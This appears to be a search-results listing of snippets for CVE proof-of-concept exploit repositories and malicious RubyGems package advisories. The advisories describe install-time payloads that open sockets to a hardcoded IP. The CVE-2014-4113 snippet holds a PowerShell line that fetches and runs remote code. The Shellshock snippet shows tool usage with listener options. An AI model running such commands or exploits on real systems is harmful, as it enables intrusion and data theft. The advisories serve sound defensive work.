1173185 matches found
CVE-2026-34197
CVE-2026-34197 CVE-2026-34197 activemq PoC PoC for the ActiveMQ as per Horizon3 post https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/ krasn@icestorm cve-2026-34197-activemq % docker compose up -d krasn@icestorm cve-2026-34197-activemq % python3 exploitpoc.py au...
CVE-2024-25600-Bricks-Builder-plugin-for-WordPress
Herramienta de Explotación CVE-2024-25600 🚀 Descripción 📝 Esta herramienta 🛠️ está diseñada para explotar la vulnerabilidad CVE-2024-25600 🕳️ encontrada en el plugin Bricks Builder para WordPress. La vulnerabilidad permite la ejecución remota de código no autenticada en sitios web afectados 💻. La...
CVE-2020-0688
Identificar servidores Exchange vulnerables a CVE-2020-0688 CVE-2020-0688 es una vulnerabilidad crítica en Microsoft Exchange debido al uso de claves estáticas. Aunque la explotación requiere credenciales válidas a nivel de usuario de correo electrónico y el riesgo de explotación masiva es bajo,...
CVE-2019-10149
CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf Crea el usuario y grupo exim sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim Instala las dependencias sudo apt-get update sudo apt-get install -y make...
CVE-2014-4113
CVE-2014-4113 PowerShell CVE-2014-4113 Solo Windows x64 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...
WP-CVE-2016-10033
WordPress -p 8000:80 el 8000 representa el puerto de la máquina física, se puede especificar arbitrariamente. Visitar http://127.0.0.1:8000 y ver la interfaz principal de WordPress indica que el inicio fue exitoso POC Suponiendo que la dirección objetivo es: http://127.0.0.1:8000/ 1. Copiar el...
cgi-bin-shellshock
Cómo usar Clona el repositorio o simplemente copia y pega el que prefieras sudo git clone https://github.com/Gurguii/shellshock.sh Ejecuta el script Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp Nota: el LPORT por defecto es 4444, se requiere URL. Si solo se proporciona...
Malicious code in tron-trc20-utils (RubyGems)
Source: amazon-inspector c840b18eadc331896e56720bc9a00f1239807542202bbd4ff9636737f27d0142 The gem's extconf.rb contains a base64-encoded Ruby payload that is decoded and eval'd inside a detached double-forked child during gem install. The decoded code opens a TCP connection to 45.138.12.177:8089...
Malicious code in xrp-ledger-utils (RubyGems)
Source: amazon-inspector 1d8cf595b60954811e6adfd0c4a241c696d326b42baf1ed2e7b163e720db44c4 The gem's native extension builder ext/extconf.rb decodes a base64-embedded Ruby payload and evals it inside a double-forked, detached child after a randomized 20-40 minute sleep. The payload opens a TCP...
Malicious code in wallet-hd-derive (RubyGems)
Source: amazon-inspector fdfb31a6866dee961d55ad503da9de33a2cf743b52c80862e4380519ad5bef12 The gem is published as a crypto wallet utility but ships no native source; its gemspec declares extconf.rb as an extension so that gem install auto-executes it. extconf.rb decodes a base64-encoded Ruby...
Malicious code in web3-signer-kit (RubyGems)
Source: amazon-inspector fe57c8011ef7048ef33ccdb828615b8efd9ab10799a2a730d12c2d854c2e0895 The gem's extconf.rb decodes a base64 literal and eval's it at gem install time inside a double-forked, session-detached child whose stdio is redirected to /dev/null. The decoded payload opens a TCPSocket to...
Malicious code in erc20-approve-audit (RubyGems)
Source: amazon-inspector e43c1d294111db5834d006f064d33001b463860783ed8662a5f41a8e7354e4b8 The gem's native extension script, which runs automatically during gem install, base64-decodes a Ruby payload and launches it via a double-forked, detached, session-leader background process setsid, /dev/nul...
Malicious code in perp-funding-rates (RubyGems)
Source: amazon-inspector 123418539e0264e9d58c8b51976723aff3eceec10520c231d7bc847edd51d691 The gem's native-extension script ext/perpfundingrates/extconf.rb contains no real build logic: it declares createmakefile'bitcoinrpclitenative' but ships no C/C++/Rust sources, and the gemspec/library name...
Malicious code in multichain-rpc (RubyGems)
Source: amazon-inspector b5765482ebcff5ac393edb3ce06164e7c697a00aa7e32c92b1272dc20184b424 The gem's extconf.rb, executed automatically by gem install as a native-extension build step, base64-decodes a Ruby payload and runs it via eval inside a double-forked, stdio-detached background process. The...
Malicious code in hd-wallet-generator (RubyGems)
Source: amazon-inspector 5d6925082b6aa5db29d0569324b4485976add2368c78635d4be5c52270ee3771 The gem's declared native extension build script ext/hdwalletgenerator/extconf.rb executes a Base64-encoded payload via eval during gem install. The decoded payload opens a TCP socket to the hardcoded remote...
Malicious code in evm-tx-decoder (RubyGems)
Source: amazon-inspector e478aa0270779720106fc6169e89fde089af352214fc720fbf8c284d51415f59 The gem's native-extension build script ext/extconf.rb decodes a base64-embedded Ruby payload and executes it via eval inside a double-forked, detached child Process.setsid, Process.detach. The payload opens...
Malicious code in seed-phrase-validator (RubyGems)
Source: amazon-inspector fb8d12a066c24d672bf16efe57267c46c727592ee21beb0e2accb3bb6e4bfb3a The gem declares a native extension but ships no C/C++/Rust source. extconf.rb exists solely to execute at gem install time. It decodes a base64-encoded Ruby payload and runs it via eval inside a detached fo...
Malicious code in mev-sandwich-detect (RubyGems)
Source: amazon-inspector 5d92e0d32c64cdab1627cbfe5bd1d79445d0ff09f4d24336dd9026c02fe46917 mev-sandwich-detect 0.9.1 is a stub gem whose only functional behavior is install-time code execution. The gemspec declares a native extension, but ext/extconf.rb ships no C/C++ sources and does not build an...
Malicious code in nft-metadata-resolver (RubyGems)
Source: amazon-inspector ee87c382dfd443e81b4cf0e8dc66749f9a129bd4239f984859aaaf760e84c629 The gem ships a native-extension script at ext/nftmetadataresolver/extconf.rb that RubyGems auto-executes during gem install. The script carries a base64-encoded Ruby payload, decodes it with Base64.decode64...
Malicious code in defi-yield-calculator (RubyGems)
Source: amazon-inspector ee8b3e50479b61d2ff6e2f5a19de20473cf8fc3c91f99945aff51f112a617192 The gem ships an ext/extconf.rb that base64-decodes an embedded Ruby payload and runs it via eval inside a double-forked, detached, stdio-nulled background process after a 20–40 minute sleep. Execution is...